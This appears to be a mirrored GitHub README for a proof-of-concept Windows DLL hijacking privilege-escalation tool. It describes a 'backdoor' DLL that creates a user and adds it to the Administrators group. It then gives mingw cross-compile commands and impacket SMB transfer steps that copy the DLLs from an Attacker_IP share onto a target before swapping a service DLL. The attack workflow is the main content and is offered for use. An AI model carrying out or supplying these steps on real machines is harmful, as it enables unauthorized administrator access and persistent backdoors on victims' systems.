Giter Club home page Giter Club logo

dll-hijack-poc's Introduction

Backdoor DLL Hijack POC

Proof of Concept for DLL Hijacking privilege escalation technique (without reverse shell).

This repo contains 3 files:

  • poc.cpp: A simple cpp script with a ping command hardcoded made for testing. You can add your IP, compile, start a tcpdump listener, hijack DLL and verify code execution.

  • backdoor.cpp: The actual exploit - will add a user named 'backdoor' once compiled and executed, then this user will be added to administrator's group.

  • backdoor.dll: Compiled backdoor.cpp, can be injected directly into the target.

Instructions

Cross-Compilation

In order to cross-compile backdoor.cpp and poc.cpp we can use x86_64-w64-mingw32-gcc:

x86_64-w64-mingw32-gcc -shared -o backdoor.dll backdoor.cpp
x86_64-w64-mingw32-gcc -shared -o poc.dll poc.cpp

Transfer

Transfer to the target machine (in this case we will use impacket-smbserver):

Start SMB Server

From attacker machine:

impacket-smbserver {ShareName} . -smb2support
Hijack DLL

From target Windows machine:

copy \\Attacker_IP\ShareName\poc.dll .
copy \\Attacker_IP\ShareName\backdoor.dll .
# move any of the two into target DLL & restart service

dll-hijack-poc's People

Stargazers

MagicBytes avatar Computer button pusher // Pousseur de boutons en informatique  || SIN - SIN HACK - HACK || NO-CODE evangelist || Black coffee like my sense of humor avatar AVA avatar Rafael Pimentel avatar

Watchers

 avatar Rafael Pimentel avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.